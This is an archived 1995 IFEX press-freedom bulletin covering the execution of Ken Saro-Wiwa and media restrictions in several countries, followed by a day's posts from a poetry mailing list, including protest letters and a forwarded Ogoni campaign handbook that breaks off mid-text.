> -HUNGARY: MEDIA FREEDOM LAGGING DESPITE DEMOCRACY

> -ACTION ALERTS ISSUED BY THE CLEARING HOUSE DURING THE PAST WEEK
>
> ** ** **
>
> WORLD MOURNS WRITER KEN SARO-WIWA AND OTHER NIGERIAN ACTIVISTS
>
> INTERNATIONAL PEN MARKS DAY OF THE IMPRISONED WRITER
>
> A wreath in memory of those killed by the Nigerian military
> government on 10 November was laid outside the Nigerian High
> Commission in Namibia on 17 November, reported the Media
> Institute of Southern Africa (MISA). The wreath-laying ceremony
> was in memory of Ken Saro-Wiwa, Dr. Barinem Kiobel, Saturday
> Dobee, Paul Levura, Nordu Eawo, Felix Nuate, Daniel Gbokoo, John
> Kpuinen and Baribor Bera. "All those who share feelings of
> outrage at the inhumanity of the Nigerian regime's actions" were
> invited to attend wreath-laying ceremonies which took place
> outside the Nigerian High Commission in Windhoek and at all the
> Nigerian consulates in southern Africa. The Namibian ceremony was
> organized by the Journalists Association of Namibia and the
> Namibian chapter of MISA.
>
> Human Rights Watch condemned Royal Dutch/Shell and other multi-
> national oil companies operating in Nigeria for failing to
> respond to the executions by closing down their remaining
> operations in Nigeria. Human Rights Watch/Africa also appealed to
> the United Nations Security Council to isolate Nigeria. As well,
> Human Rights Watch/Africa called on the governments of the United
> States, the United Kingdom, the Commonwealth Countries, the
> Organization of African Unity and the European Union to "freeze
> all foreign assets of members of the Nigerian government who are
> responsible for serious human rights abuses; embargo all military
> sale and shipment of arms to the Nigerian government through
> governmental or private channels; immediately reject the request
> for $100 million in loans from the International Finance
> Corporation for a natural gas project in the Niger River Delta;
> publicly name those members of the Nigerian government to whom
> visas are denied as a result of their complicity in human rights
> abuses; suspend all non-essential high-level visits to and from
> Nigeria; instruct their embassies in Lagos to publicly support

> the efforts of Nigeria's dynamic human rights community by
> meeting regularly with Nigerian human rights activists, issuing
> frequent statements regarding pressing human rights issues, and
> providing project assistance."
>
> This year, International PEN's Day of the Imprisoned Writer on 15
> November was overshadowed by news of the execution of Saro-Wiwa,
> reported the Writers in Prison Committee (WiPC) of International
> PEN. WiPC said, "PEN centres in many countries campaigned
> tirelessly for his release, in the belief that the charges
> against him were trumped up and that the real reason for his
> arrest lay in his minority rights activism." Many well-known
> writers signed a petition on his behalf, including Chinua Achebe,
> Ben Okri, Octavio Paz, Arthur Miller, Harold Pinter, Edward Said,
> Nadine Gordimer, Seamus Heaney and Isabel Allende. Several PEN
> centres dedicated their events for the Day of the Imprisoned
> Writer to Saro-Wiwa. At the PEN Canada event, which became a
> memorial to Saro-Wiwa, Ugandan author George Seremba gave a
> passionate reading from his play "Come Good Rain".
>
> WiPC noted that Saro-Wiwa is just one of the many cases on its
> caselist. The WiPC has documented around 900 instances of writers
> and journalists who have been persecuted in pursuit of their
> profession since the beginning of 1995. Among these are 30 cases
> of killings, over 33 unsolved disappearances, and the detention
> of almost 400 others. Also recorded are numerous death threats,
> beatings and other forms of harassment aimed at intimidating
> writers and journalists into silence. International PEN said it
> "works to highlight these cases so they are not forgotten."
>
> ** ** **
>
> REGIONAL NEWS
>
> AFRICA
>
> CAMEROON: BILL COULD THREATEN PRESS FREEDOM; CAMEROON CRITICIZED
>
> A bill which could restrict freedom of the press in Cameroon is
> being debated by Parliament, reported Reporters sans frontieres
> (RSF). According to RSF, Article 17, on the seizure and banning

> of newspapers, refers to attacks on "the public order" and
> "accepted standards of good behaviour/values." However, RSF said,
> "since those terms are not defined anywhere else in the law, they
> are left open to interpretation." Although RSF said Article 17
> gives a newspaper the right to immediately submit legal
> complaints against it to a judge for an emergency interim ruling,
> the article gives that judge two hours (for daily newspapers) or
> 24 hours (for weeklies) to pass a verdict. As well, Article 7 of
> the bill gives the prefect the right to refuse the establishment
> of a newspaper. According to RSF, submitting the founding of a
> newspaper to that kind of authorization is a restriction on press
> freedom; investing the prefect (who would rule along with a
> representative of the press) with that authority further puts
> obstacles in the way of the media. Under the bill, one would also
> have to go through several additional administrative steps to
> establish a newspaper.
>
> Cameroon's history of press freedom violations should have been
> more cause for concern before it was admitted to the Commonwealth
> earlier this month, ARTICLE 19 said in a statement to the
> Commonwealth Heads of Government meeting (CHOGM), which took
> place in New Zealand from 10 to 13 November. ARTICLE 19 said,
> "Cameroon has a long record of human rights violations. Most
> recently, in 1995, the government of Cameroon has closed
> newspapers and engaged in the systematic harassment of opposition
> political activists [which] cast[s] doubt on Cameroon's
> commitment to promote human rights and democratization, as laid
> out in the Harare Declaration." Details of this abuse are
> contained in ARTICLE 19's report "Northern Cameroon: Attacks on
> Freedom of Expression by Governmental and Traditional
> Authorities". For information, contact ARTICLE 19 at 33 Islington
> High St., London N1 9LH, U.K., tel:[redacted], fax:+44 1
> 71 [redacted], e-mail: [redacted].
>
> RWANDA: RSF PUBLISHES REPORT ON JOURNALISTS' WORKING
CONDITIONS
>
> Press freedom after the genocide in Rwanda is at a crossroads,
> says Reporters sans frontieres (RSF) in a new report entitled
> "Rwanda: L'Impasse? La liberte de la presse apres le genocide".
> The report covers the conditions in which Rwandan journalists who
> survived the massacre -- 49 journalists were killed between April

> and July 1994 -- are returning to work in Rwanda and abroad. It
> lists attacks which have been made against the press in Rwanda,
> but it also denounces the role which hate media continues to
> play. RSF says the reconstruction of the press in Rwanda poses a
> particularly complex set of problems. It asks how a regime which
> aspires to replace a racist totalitarian dictatorship with a
> multi-ethnic pluralistic democracy reconciles the freedom of the
> press with the necessity of preventing the return of genocidal
> propaganda. RSF concludes with a set of recommendations to the
> new government of Rwanda. The report was put together with the
> support of the European Commission and includes reproductions of
> Rwandan articles. Its price is 60 FF (CAN $15). For further
> information, contact RSF at 5, rue Geoffroy Marie, Paris 75009,
> France, tel:[redacted], fax:[redacted], e-mail:
> [redacted].
>
> MAGHREB
>
> ALGERIA: PRESS RESTRICTED PRIOR TO ELECTIONS
>
> The government of Algeria subjected the press to several
> restrictions prior to the election in Algeria on 16 November,
> which returned incumbent President Liamine Zeroual to power,
> reported Human Rights Watch (HRW). HRW said that in order to
> comply with the government's wish for a high turnout, the
> Ministry of Communications issued a circular "warning the media
> against advocating or publishing calls for a boycott of the
> election." Another violation of freedom of expression was "a
> black-out by the state-controlled television of any viewpoints
> hostile to the election." Three issues of the outspoken weekly
> "La Nation", which were critical of the upcoming election, were
> confiscated at the printing press "without explanation."
>
> Under the pretext of protecting foreign journalists, the Algerian
> government strictly controls their movements, writes Djallal
> Malti in the November issue of Reporters sans frontieres' (RSF)
> bulletin "La Lettre". Ostensibly to "insure" their safety, RSF
> says foreign journalists are under the guard of the civil police
> from the time they arrive at the airport and escorts accompany
> them on all their interviews. At the Ministry of Communications,
> Malti explains, journalists' itineraries are also strictly
> controlled. They are told government opponents are "unavailable"

> or living in an area "too dangerous" to visit. Journalists who
> refuse to work under these conditions must sign a form which
> absolves the security service of responsibility in the event of a
> mishap -- although RSF says they are nonetheless followed. Non-
> compliant or "expert" journalists often find it difficult to
> obtain a visa for Algeria in the first place. RSF has had
> repeated problems obtaining visas.
>
> ASIA
>
> THAILAND: JOURNALISTS MORE INTERESTED IN BUSINESS THAN POLITICS
>
> Journalists in Thailand are more interested in reporting on
> business than politics, said a Thai journalist at a meeting
> organised by the Canadian Committee to Protect Journalists (CCPJ)
> in Toronto, Canada on 17 November. Pravit Rojahaphruk, who works
> at the newspaper "The Nation" in Bangkok, said environmental
> reporting is also becoming a trendy beat. Consequently, socio-
> political matters like prostitution, economic development, and
> the rate of AIDS are not discussed in the press much. Journalists
> also worry about keeping up with new technologies as the
> information society takes hold in Thailand. Rojahaphruk is one of
> four international journalists visiting Canada this month on a
> grant programme for journalists from developing countries
> sponsored by the International Centre for Human Rights and
> Democratic Development (ICHRDD) and the Canadian Association of
> Journalists (CAJ). The other journalists are Antoine Kaburahe of
> the newspaper "Panafrika" in Bujumbura, Burundi; Rina Saeed Khan
> of the newspaper "The Friday Times" in Lahore, Pakistan; and Ana
> Maria Mejia Rusconi of the newspaper "Expreso" in Lima, Peru.
>
> FORMER YUGOSLAVIA
>
> FORMER YUGOSLAVIA: CONFERENCE SAYS NO PEACE WITHOUT MEDIA FREEDOM
>
> Press freedom should be a prerequisite for aid to countries which
> sign a peace agreement to end the war in former Yugoslavia said
> participants at a conference organized by the International
> Federation of Journalists (IFJ) and the International Federation
> of Newspaper Publishers (FIEJ). Around 140 journalists, editors

> and publishers from Bosnia, Croatia and Serbia attended the
> two-day conference, titled "A Strategy for Independent Media in
> the Peace Process", in Ljubljana, Slovenia on 12-13 November. It
> was the fourth round table meeting organized by journalists and
> publishers to confront state control of the region's media and to
> campaign in support of independent voices in the press and
> broadcasting systems. In a declaration issued at the end of the
> conference, delegates welcomed an end to the war, said the IFJ,
> but they warned international negotiators at the peace talks last
> week in Ohio in the United States that "the international
> community must ensure that political and economic support for the
> region is conditional upon respect for all human rights including
> freedom of expression." The meeting also declared that "actions
> in support of independent and free media should be a core element
> of programmes for democracy, reconstruction and economic
> development."
>
> "The world was shocked at the way media have been used as weapons
> of war and hate," said Aidan White, General Secretary of the IFJ
> at the end of the meeting. "Now it is essential that free media
> are used to underpin democracy and help build new societies which
> will be able to confront the intolerance and extremism which have
> infected the region's political culture." For further
> information, contact the IFJ/FIEJ Co-ordinating Centre for
> Independent Media of the Balkan Region, Vosnjakova 8 61000
> Ljubljana, Slovenia,
> tel: [redacted],
> e-mail: [redacted];
> or contact Cailin MacKenzie at the IFJ, Rue Royale, 266, B-1210
> Brussels, Belgium, tel:[redacted], fax:[redacted], e-mail:
> [redacted].
>
> EASTERN EUROPE
>
> HUNGARY: MEDIA FREEDOM LAGGING DESPITE DEMOCRACY
>
> Media freedom has been lagging as democracy grows in Hungary,
> according to the September/October issue of the International
> Press Institute's magazine "IPI Report". In the four years since
> Parliament was freely elected, Rick Bruner of IPI writes,
> "relations between the government and the media grew deeply
> acrimonious." IPI says the situation briefly improved after a new

> political coalition was elected in 1994, "but dark clouds have
> returned." The government issued a decree in March 1995 ordering
> the mass dismissal of 1,000 employees from state television,
> although it is unclear whether it was a political or economic
> decision. As of publication, IPI reports the dismissals were
> suspended by the courts.
>
> IPI says Janos Betlen, the editor of the main evening television
> news program, "Hirado", was fired without an official
> explanation. There is widespread speculation that the editor
> "lost his job in an act of political vengeance," likely due to
> his dedication to independence. Meanwhile, the government has
> been working on a draft of a new media law over the past year.
> IPI says the draft that was submitted to parliament includes
> "various safeguards against government intervention in
> broadcasting." Betlen doubts the law will boost media freedom.
> "We don't have too many journalists who consider freedom vital,"
> he said. "These problems are deeply rooted in our social
> structure. It's only going to get worse."
>
> ** ** **
>
> ACTION ALERTS ISSUED BY THE CLEARING HOUSE DURING THE PAST
WEEK
>
> 13/11/95
> NIGERIA: MISA calls for isolation of Nigerian regime following
> execution of writer Ken Saro-Wiwa (MISA) - press release
> NIGER: Draft bill could threaten independence of state media
> (RSF) - alert
> AWARD: FIEJ seeks nominees for 1996 Golden Pen of Freedom
> (FIEJ) - press release
> AZERBAIJAN: Convicted "Chesme" journalists pardoned by President
> (CPJ) - update
> NIGERIA: Further details on hanging of Ken Saro-Wiwa (WiPC) -
> update
>
> 14/11/95
> PERU: Hearing in case of detained journalist Jesus Alfonso
> Castiglione Mendoza resumes (IPYS) - update
> CAMEROON: ARTICLE 19 highlights Cameroon in statement to
> Commonwealth Heads of Government meeting (A19) - press release

> CAMBODIA: Offices of "Serei Phreap Thmei" ransacked; printer
> refuses to print 6 Khmer-language papers (RSF) - alert
> NIGERIA: Leading MOSOP figure not rearrested as reported by some
> sources (WiPC) - update
> GENERAL: PEN centres worldwide commemorate International PEN's
> Day of the Imprisoned Writer on 15 November (WiPC) - press
> release
> NIGERIA: Human Rights Watch calls for international condemnation
> of Nigeria after executions of Ken Saro-Wiwa & 8 other Ogoni
> activists (HRW) - press release
> NIGERIA: Appeal to multi-national oil companies on executions of
> Ken Saro-Wiwa & 8 other Ogoni activists (HRW) - update
>
> 15/11/95
> COLOMBIA: Customs regulation touches foreign newspapers (IAPA) -
> alert
> NIGERIA: Appeal to U.N. Security Council urging isolation of
> Nigerian military over executions of Ken Saro-Wiwa & 8 other
> Ogoni activists (HRW) - update
>
> 16/11/95
> CAMEROON: Bill could threaten press freedom (RSF) - alert
> NAMIBIA: Wreath laying in Namibia for Ken Saro-Wiwa & executed
> Ogoni activists (MISA) - press release
> FORMER YUGOSLAVIA: No durable peace without media freedom, say
> journalists at Fourth IFJ/FIEJ Round Table Discussion on the
> Situation of the Media in the Balkan Region (IFJ) - press release
> HAITI: Attacks & threats against Radio Cap-Haitien journalists;
> Radio Voix de l'Ave Maria offices ransacked (RSF) - alert
>
> 17/11/95
> PERU: Hearing in case of detained journalist Jesus Alfonso
> Castiglione Mendoza postponed (IPYS) - update
> LITHUANIA: Newspaper "Lietuvos Rytas" bombed (RSF) - alert
> NIGERIA: Human Rights Watch condemns Royal Dutch Shell's failure
> to speak out against human rights abuses in Nigeria (HRW) - press
> release
>
> ** ** **
>
> The IFEX "Communique" is published weekly in English, French and
> Spanish by the IFEX Clearing House, Toronto. The facility is

> operated by the Canadian Committee to Protect Journalists in
> partnership with the member organizations of the International
> Freedom of Expression eXchange (IFEX). Material for the
> "Communique" may be submitted to the CCPJ, 490 Adelaide Street
> West, Suite 205, Toronto, Ontario, M5V 1T2, CANADA; E-mail:
> [redacted]; Tel: (1-416) [redacted]; or Fax: (1-416)
> [redacted]. Editor: Kristina Stockwood, with Andrew Stockwood this
> week. Subscriptions are available by e-mail and surface mail. The
> views expressed in the "Communique" are the responsibility of the
> sources to which they are attributed.
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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

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259. **Pierre Joris**
epclive
Tue 21 Nov 1995

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anything happen last night on epclive? I connected but either was unable to figure out how to open the channel, or turned out to be the only one there. (whenever I would give the "/who #epclive" command, only my own userid would get listed). I was using the UNIX irc, & I must say the on-line help is rather unhelpful.so, Ken, Los what's up?

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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet

email: | drawn up plans for the first coup."
[redacted] | --J.H. Prynne
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260. **Ron Silliman**
Re: 1995 MLA
Tue 21 Nov 1995

David Kellog,
I won't be attending the MLA this year and would love to get a copy of your piece.

This also applies to yours Marjorie. Perhaps (in fact, one thought leading to the next), we can get EPC to post all MLA talks given by members of the list. It would be a most useful archive.

Ron Silliman
[redacted]

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261. **Jeff Hansen**
Saro-wiwa
Tue 21 Nov 1995

Here are the three letters that I will send. If you don't like what I say, then i urge you to write your own. Everyone who has told me to add their name to the letters will appear on them. If you have not yet told me that you want to be added, e-mail me. I will send them tomorrow, Wednesday.

What other issues should we get involved in? Next time, let's get started before they kill someone.

Writers Coalition for Free Speech and the Self-Determinacy of Native Peoples
c/o Jefferson Hansen
2510 Highway 100 South #333
St. Louis Park, MN 55416

General Sani Abacha
c/o Embassy of the Federal Republic of Nigeria
Chancery 1333
16th Street NW
Washington, D.C. 20036

Dear General Abacha:

This is to inform you of our outrage concerning the recent hanging of writer and activist Ken Saro-Wiwa. We believe in the free expression of ideas and that native peoples should have economic and political control over their traditional territories, ideals that Mr. Saro-Wiwa died defending.

We ask you to take the following steps in the name of justice and true democracy:

>Step down as leader of Nigeria so that the legitimate, democratically elected officials may resume office.

>Respect the soveriegnty of native peoples within your borders by giving them significant and legally sanctioned say in the decisions that affect them.

>Support the fine literary tradition of Nigeria by supporting the free expression of ideas.

We trust that your excellency will soon respond to our requests.

Sincerely,

Writers Coalition for Free Speech and the Self-Determinacy of Native Peoples

Writers Coalition for Free Speech and the Self-Determinacy of Native Peoples
c/o Jefferson Hansen
2510 Highway 100 South #333
St. Louis Park, MN 55416

President William Clinton
The White House
Pennsylvania Avenue
Washington, D.C.

Dear President Clinton:

This is to inform you of our outrage concerning the recent hanging of writer and activist Ken Saro-Wiwa in Nigeria. We believe in the free expression of ideas and that native peoples should have economic and political control over their traditional territories, ideals that Mr. Saro-Wiwa died defending.

We ask you to take the following steps in the name of justice and true democracy:

>Support an international economic boycott of Nigeria.

> Insist on democratic elections in Nigeria that respect the needs of native peoples.

>Craft and introduce legislation that will regulate U.S. companies' use of native peoples' lands.

We realize that Shell Oil, which is implicated on some level in Saro-Wiwa's execution, is not a U.S.-owned company. However, we feel that the U.S. should

take the lead among developing nations in respecting the rights of the "least developed" human societies.

Respectfully yours,

Writers Coalition for Free Speech and the Self-Determinacy of Native Peoples

Writers Coalition for Free Speech and the Self-Determinacy of Native Peoples
c/o Jefferson Hansen
2510 Highway 100 South #333
St. Louis Park, MN 55416

P.J. Carroll, President
Shell Oil Company
Houston, Texas

This is to inform you of our outrage concerning the recent hanging of writer and activist Ken Saro-Wiwa. We believe in the free expression of ideas and that native peoples should have economic and political control over their traditional territories, ideals that Mr. Saro-Wiwa died defending.

While we realize that Shell Oil is not a U.S.-owned company, we do feel that the U.S. arm of Shell can do much towards bringing the executioners of Saro-Wiwa to justice. We ask that you support the following:

>Support an international economic boycott of Nigeria.
>Work to restore the democratically elected government.
>Respect the soveriegnty of native peoples when the land you are using has been traditionally theirs.
>Work to bring the killers of Saro-Wiwa to justice.

Until we see marked improvement in your company's treatment of native peoples and the developing countries you often do business within, we will boycott your products.

Sincerely,

Writers Coalition for Free Speech and the Self-Determinacy of Native Peoples

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262. **Jeff Hansen**
Saro-Wiwa
Tue 21 Nov 1995

Daniel Bouchard posted addresses that are more relevant than the ones I affixed to the letters I just sent to the list. I will use his addresses. (Thanks, Daniel.) We should definately let theses NYC PR firms know that we know of their B.S. Do they have any shame?

Jeff

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263. **Charles Alexander**
Re: David Kellog's MLA posting
Tue 21 Nov 1995

> *On another note: I want to know how people learn about (are invited to) things like the Stein reading marathon at Berkeley. I was right nearby at Mills for the Cage conference and, had I known, would have loved to go. Next time, please invite some of the rest of us Steinians.*
>
> *Marjorie*

Let me second Marjorie's note. And if notice comes soon enough (which may be a year in advance in some cases) we might even apply for travel grants to come to such doings.

Was Lisa Bowden there, whose Kore Press in Tucson is working on a hand printed artist's book edition of Tender Buttons? Lisa was my assistant at Chax Press in Tucson during the best years there, and she's still up to great things.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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264. **Maria Damon**
Re: 1995 MLA "Poetry and Cultural Criticism"
Tue 21 Nov 1995

---

speaking of mla scheduling snafus, they seem to ahve put all the poetry stuff at the same time, in the ungodly a.m., so we cant' come to each other's sessions! talk about divide and conquer. we don't get no respect...or so the grumblings went last year when we were all stuffed into a tiny and freezing room... anyway, hope to meet some of you --maybe we should decide on a place to meet and hang out, like, noon on the 28th or something, in the something bar in the hotel, so we can all meet each other? can someone who knows what's going on make a more concrete suggestion, maybe several, so we can see each other in the flesh (O fear and trembling)--maria d

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265. Judy Roitman
Re: Metroplexities
Tue 21 Nov 1995

> *just a word about metroplexities in massachusetts: just spent the wkend in northampton and visited used bookstores, and was disappointed/relieved to find not one single interesting "experimental" book of poems on the shelves*

And in the Kansas City Barnes and Noble (shudder), in the very stylish Country Club Plaza across the street (yes, street -- this is no shopping mall) from Saks, I bought books by Zukofsky, Stein, and Susan Howe.

Go figure.

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266. Charles Bernstein
Re: Orono Conference
Tue 21 Nov 1995

I was hoping to get Burt Hatlen to send an announcement direct but anyway, here is part of the Call for Papers from the new Sagetrieb:

NPF Conference on American Poetry in the 1950s
University of Maine, Orono June 19 to 23, 1996

paper proposals are invited on any poets active during the 1950s, including first- and second-generation modernists and especially on the emerging poets of the 1950s generation. [Long list of names follows.]

DEADLINE: January 15, 1996 for app. 250 word proposals:

Burton Hatlen
Room 304
5752 Neville Hall
University of Maine
Orono, ME 04469-5752

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267. Herb Levy
Subtext Reading Series Website
Tue 21 Nov 1995

Hi -

The website for Subtext, the Seattle reading series, is finally up.

Here's the URL:

http://speakeasy.org/subtext/

It's very much under construsion, as they say in Vancouver, but it contains the current reading schedule, texts by many of the writers who've read in the series (with more to come), links to literary sites &, I'm sure, a few typos that weren't caught in proof reading.

Hope you find it useful.

We'd appreciate it if those of you with web sites added a link to it. & if anyone has suggestions for other sites to link to it, let me know.

Bests

Herb Levy
[redacted]

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268. Herb Levy
Steiniana
Tue 21 Nov 1995

Hi Steve -

Sorry I responded to your first message before I saw your second. I'm only looking at poetics a couple of times a week til I finish a humungous free lance job that keeps me online far too long on its own.

But I'm glad that you (& Dodie) felt the need to report on the reading. It sounds like it was pretty good. In the context of all of those, uh, value-added performances, though, it's still hard to imagine a straight reading of a big chunk of The Making of Americans getting over, no matter where it was in the program.

But then, I'm just a stick in the mud, anyway. I mean, I didn't even watch the Beatles reunion on TV.

Herb Levy
[redacted]

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269. ULMER SPRING
Re: Metroplexities
Tue 21 Nov 1995

Barnes and Noble in Vermont has Susan Howe too.

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270. Jordan Davis
Re: Metroplexities
Tue 21 Nov 1995

The poetry buyer at Barnes & Noble does a pretty good job (tho small press folks may differ). Hidden Meaning: He's just taken on about fifteen Teachers & Writers titles to be available shortly in the "writing & publishing" (shiver) section. He's reading Vollman and Bobrowski (sp?--the ND poet) these days..

Jordan

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271. David W. Clippinger
Re: POETICS Digest - 19 Nov 1995 to 20 Nov 1995
Tue 21 Nov 1995

I am trying to get the address of Leave Books as well as the addresses of the following journals: impercipient, cathay, windmill, torque, first intensity, and volt. I would appreciate whatever help you may provide.

Thanks,
David

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272. Steve Carll
Re: David Kellog's MLA posting
Tue 21 Nov 1995

To those who inquired about the Stein reading marathon, it was at New College of California in S.F. and was listed in the S.F. Bay Guardian and S.F. Weekly events calendars. To get on the Poetics Program mailing list, just send a note to:

Poetics Program
New College of California
766 Valencia St.
S.F., CA 94110
attn: Michael Price

and ask him to put you on. And Charles, if she was there, I didn't meet her; maybe someone else did.

Steve

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273. Steve Carll
Re: Steinway
Tue 21 Nov 1995

At 09:37 PM 11/20/95 -0800, you wrote:
>Steve & Dodie: Maybe it's because I wasn't there, but now I can't
>remember -- what did Stein write?

Everybody's autobiography.

Steve

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274. Charles Bernstein
Re: Steiniana
Tue 21 Nov 1995

Spake Herb Levy earlier today:

For many years, there has been a marathon reading of The Making of Americans every New Year's, days long; in recent years it has alternated with a reading of Finnegans Wake. It takes place at the Paula Cooper Gallery in SoHo (New York). The first few years, in the middle or late 70s, I read at 3 or 4am to a quite small, even tiny, audience. These were hardly "straight" readings but I think fairly engaging. The work, it seemed to me then and there, held up well to something like chant or anyway highly entoned reading (a kind of davening perhaps). I have had other occasions to read the from the book, even when fully awake, and found many rhythmic and performative possibilities there. I have always felt that Stein's work would be better served by a more all over reading from her works, but the fact that The Making of Americans has held up to repeated and complete readings for so many years (though of course "stands up" to whom?) is interesting.

--Charles Bernstein

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275. Wystan Curnow
Re: Metroplexities
Tue 21 Nov 1995

Your mention of Barnes & Noble pricked a memory. Earlier this year I visited the Astor Place branch for the first time. There used to be a good bookstore across the road which I suppose the B & N put out of business. What I wanted to mention was the way they categorized their stock. There is a section called POETRY and then one called FICTION AND LITERATURE. How significant is

this division? Do all B & N stories do it, do other stores do it? I believe the division is at work in English departments, among the interests, knowledge and attitudes of teachers, and in curricula. I know I tend to think the other way: POETRY AND LITERATURE and FICTION. What does it betoken? Any thots?

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276. Charles Bernstein
Jnl of Artists's Books (JAB)
Tue 21 Nov 1995

Highly recommended:

JAB, Journal of Artists' Books, is published by Brad Freeman in an attempt to encourage focused critical discussion of artists' books. Recent articles have included work by Janet Zweig, Clifton Meador, Anne Moeglin-Delcroix, Johanna Drucker, Phil Zimmermann, and others. Unsolicited articles are welcome, but writers are strongly encouraged to read an issue of the journal before sending material. Subscriptions are $18 for 1996 (two issues, includes postage and handling); a few issues of JAB #4 are still available at $7 for the issue and postage. Write to Brad Freeman at 324 Yale Avenue, New Haven, CT, 06515.

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277. Pierre Joris
NIGERIA CASEFILE #1 (A KEN SARO WIWA-OGONI HANDBOOK) (fwd)
Tue 21 Nov 1995

Jeff, others -- here's more Saro Wiwa stuff,

Pierre

Forwarded message:
> From daemon Mon Nov 20 13:49:17 1995
> Resent-Message-Id: <[redacted]>
> Resent-From: Tejumola Olaniyan <[redacted]>
> Resent-Date: Mon, 20 Nov 95 13:28:13 EST
> Resent-To: [redacted]
> From: Tejumola Olaniyan <[redacted]>
> Date: Mon, 20 Nov 95 13:16:20 EST
> To: [redacted]
> Subject: NIGERIA CASEFILE #1 (A KEN SARO WIWA-OGONI HANDBOOK)
>
>
> NIGERIAN CASEFILE: THE KEN SARO WIWA-OGONI HANDBOOK

>
> compiled by the Coalition Against Dictatorship (CAD)
>
>
> CONTENTS:
>
> (SECTION 1)
>
> The Ken Saro Wiwa Campaign
> Some History
> The Issue
> Saro Wiwa's Trial and Execution
> Saro Wiwa's Closing Statement at the Trial
> The Difference You Can Make
> Nigerian Oil and the West: The Moral Challenge
> The Challenge of Nigeria: A Call to World Conscience
> Ken Saro Wiwa, preface to *Genocide in Nigeria: the Ogoni
> Tragedy*
>
>
> (SECTION 2, in a separate mail file)
>
> Ken Saro Wiwa, "The World Bank and Us"
> Chuks Iloegbunam, "The Death of a Writer"
> (an obituary by a Nigerian journalist)
> F. W. J. Mnthali, "Farewell, Ken Saro-Wiwa!"
> (a poetic memorial by the renowned Malawian poet)
> The Writings of Ken Saro Wiwa: A Bibliography
> Appendix 1: Action against the Nigerian junta and its backers:
> Harvard students take the lead
> Appendix 2: Wole Soyinka, "Why the General Killed"
>
>
> THE KEN SARO WIWA CAMPAIGN
>
> Ken Saro Wiwa was a prominent Nigerian author, television
> producer, environmental activist and leader of the Movement for the
> Survival of Ogoni People (MOSOP). The Ogoni are a minority ethnic
> group of about 500,000 people in Nigeria's oil-rich Southeastern
> Rivers State. Once an agricultural region with fertile soils, the
> Ogoni land and water have been devastated by pollution by multi-
> national oil companies with assistance from Nigeria's military

> dictatorship. MOSOP was set up to defend the environmental and
> human rights of the Ogoni community. Because the Nigerian
> government considers mineral resources within its territory to be
> automatically federally owned, the idea of special rights and
> reparations for local communities are alien to it. Oil provides
> about 80 percent of Nigeria's export revenue. Oil companies with
> significant presence in Nigeria are the Anglo/Dutch Shell Group,
> Chevron Corp., Mobil Corp., France's Elf Aquitaine SA and Italy's
> Agip SpA. Ken Saro Wiwa and eight others were recently executed
> after a sham trial on trumped up charges of murder.
>
> SOME HISTORY
>
> The Ogoni people of Nigeria have their lands in Rivers State,
> a part of Nigeria near the delta of the river Niger. This has
> historically been a fertile area, and consequently is highly
> populated. It is also the first place in Nigeria from where the
> Anglo/Dutch transnational Shell began extracting oil in 1958. At
> that time, Nigeria was still a British colony. It is estimated
> that $30 billion worth of oil has been extracted from Ogoni lands
> since then.
> Ogoniland has been important to Nigeria for two reasons:
> Firstly, it has been termed the "breadbasket" of Rivers State, a
> major food producing area, and secondly, since 1958 it has been the
> source of more than 900 million barrels of crude oil, vital to the
> Nigerian economy.
>
> THE ISSUE
>
> Although international attention is now being focussed on
> democracy in Nigeria, and pressure is being placed on the Nigerian
> dictatorship of General Sani Abacha to democratize the country,
> little is said of the role of the Western transnational
> corporations which prop up the Abacha's dictatorship.
> Shell has been exploiting oil in Nigeria without consulting or
> compensating the Ogoni people in any way. The Ogoni people are a
> minority, and thus have little political power, since the Nigerian
> constitution does not protect minority interests. They have no
> mineral rights to their land, since all mineral rights are owned by
> the state. They are expected to be passive victims when oil spills,
> blowouts, and invasive pipe laying cause environmental damage.
> Hiding behind the dictatorial military, Shell has always turned a

> blind eye to the damages caused by its operations. For Shell's
> operations, says a news report, "the Ogoni people have received
> virtually nothing except a ravaged environment. Once fertile
> farmland has been laid waste by constant oil spills and acid rain.
> Puddles of ooze the size of football fields dot the landscape, and
> fish and wildlife have vanished." Shell would be slapped with
> hefty fines if it were to pollute any European or American country
> one-tenth as much as it did in Nigeria. The Exxon Oil spill in
> Alaska in 1989 and the reparations afterward is still fresh in our
> memory.
> In 1990, the Ogoni started to mobilize against the human and
> environmental injustice perpetrated upon them. They formed MOSOP,
> the Movement for Survival of Ogoni People, a peaceful resistance
> movement which attempted to highlight their plight, under the
> leadership of Ken Saro-Wiwa. Shell suspended its activities in
> Ogoniland in 1993, partly as a result of the Ogoni campaign. But it
> still pumps more than 250,000 barrels of oil a day in Nigeria,
> nearly 12 percent of Shell's international oil output.
> The government's response to MOSOP's protests has been brutal.
> Ogoniland is now sealed off, and under martial law. Ken Saro Wiwa
> has been executed, along with 8 other Ogoni. Hundreds of Ogoni
> have been murdered. Shell's role in this is significant - the most
> extreme brutalities against the Ogoni happened after Shell
> expressed concern about perceived local threats to its smooth
> functioning, to the Nigerian government. A memo signed by Major
> Okuntimo of the Rivers State Internal Security Task Force, dated
> May 12th 1994, states: "Shell operations still impossible unless
> ruthless mlitary operations are undertaken for smooth economic
> activities to commence." The document goes on to recommend the
> "wasting" of Ogoni leaders. Ken Saro Wiwa was arrested on May the
> 22nd, 10 days later.
> The blatant disregard for human rights that Shell Nigeria has
> displayed in its dealings with the Ogoni show it to be two-sided in
> its international relations. The abuses that it perpetrates in
> Nigeria (directly in the form of spills and blowouts, and
> indirectly by the Nigerian government which it leans on to protect
> its interests) would be unacceptable in the countries where Shell
> sells most of its oil. Whilst Shell International claims that its
> actions and those of Shell Nigeria are not linked, this is
> a transparent ploy to deny culpability. Shell profits are built
> upon Ogoni suffering. The Shell which fully supports democracy at
> "home" is the same Shell that actively promotes tyranny and

> barbarism "abroard."
>
> SARO WIWA'S TRIAL AND EXECUTION
>
> Ken Saro Wiwa and 15 other Ogonis were arrested in May 1994
> after the deaths of four local pro-government Ogoni chiefs during
